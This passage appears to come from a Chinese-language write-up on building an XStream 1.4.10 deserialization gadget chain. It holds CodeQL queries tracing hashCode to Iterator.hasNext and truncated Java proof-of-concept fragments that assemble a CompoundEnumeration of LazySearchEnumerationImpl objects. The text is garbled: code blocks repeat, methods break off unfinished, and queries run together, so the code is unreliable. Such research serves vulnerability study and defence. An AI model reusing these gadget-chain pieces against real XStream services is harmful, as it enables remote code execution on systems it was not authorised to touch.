public static void poc1() throws Exception{ Object o = test_findNextMatch(); LazySearchEnumerationImpl enums[] = new LazySearchEnumerationImpl[]{(LazySearchEnumerationImpl)o,(LazySearchEnumerationImpl)o}; CompoundEnumeration<SearchResult> objectCompoundEnumeration = new CompoundEnumeration(enums);
// 找到属性中含有某种类型的类 class HasIteratorClass extends RefType{ HasIteratorClass(){ getAField().getType().getName().matches("Iterator%") } }
class HasNextMethodAccess extends MethodAccess{ HasNextMethodAccess(){ exists(HasIteratorClass h | getMethod().getQualifiedName().matches("java.util.Iterator%hasNext") and getCaller().getDeclaringType() = h )
} } class Sink extends Method{ Sink(){ exists(HasNextMethodAccess h | this = h.getCaller() ) } } class Source extends Method{ Source(){ this.getQualifiedName().matches("%hashCode%") } }
query predicate edges(Method a, Method b) { a.polyCalls(b) }
from Sink sink select sink,sink.getQualifiedName()
// 找到属性中含有某种类型的类 class HasIteratorClass extends RefType{ HasIteratorClass(){ getAField().getType().getName().matches("Iterator%") } }
class HasNextMethodAccess extends MethodAccess{ HasNextMethodAccess(){ exists(HasIteratorClass h | getMethod().getQualifiedName().matches("java.util.Iterator%hasNext") and getCaller().getDeclaringType() = h )
} } class Sink extends Method{ Sink(){ exists(HasNextMethodAccess h | this = h.getCaller() and this.getDeclaringType().getQualifiedName().matches("javax.crypto%") ) } } class Source extends Method{ Source(){ this.getQualifiedName().matches("%hashCode%") and not this.getDeclaringType().getName().matches("%AbstractMap%") and not this.getDeclaringType().getName().matches("%AbstractSet%") } }
query predicate edges(Method a, Method b) { not b.getDeclaringType().getName().matches("%ObjectAdapterIdBase%") and not b.getDeclaringType().getName().matches("%PrintStream%") and not b.getDeclaringType().getName().matches("%AbstractSet%") and a.polyCalls(b) }
from Source source, Sink sink where edges+(source, sink) select source, source, sink, "$@ $@ to $@ $@" , source.getDeclaringType(),source.getDeclaringType().getName(), source,source.getName(), sink.getDeclaringType(),sink.getDeclaringType().getName(), sink,sink.getName()
同样需要人工筛选,最终看到这一条
已知chooseFirstProvider必定能到达可控Iterator的hasNext。
补全上面的利用链,至此hashCode->hasNext这块拼图最终拼上。
序列化与反序列化
然后是序列化。xstream版本1.4.10
public static void main(String[] args) throws Exception {
Object o = test_findNextMatch(); LazySearchEnumerationImpl enums[] = new LazySearchEnumerationImpl[]{(LazySearchEnumerationImpl) o, (LazySearchEnumerationImpl) o}; CompoundEnumeration<SearchResult> objectCompoundEnumeration = new CompoundEnumeration(enums);
public static void poc1() throws Exception{ Object o = test_findNextMatch(); LazySearchEnumerationImpl enums[] = new LazySearchEnumerationImpl[]{(LazySearchEnumerationImpl)o,(LazySearchEnumerationImpl)o}; CompoundEnumeration<SearchResult> objectCompoundEnumeration = new CompoundEnumeration(enums);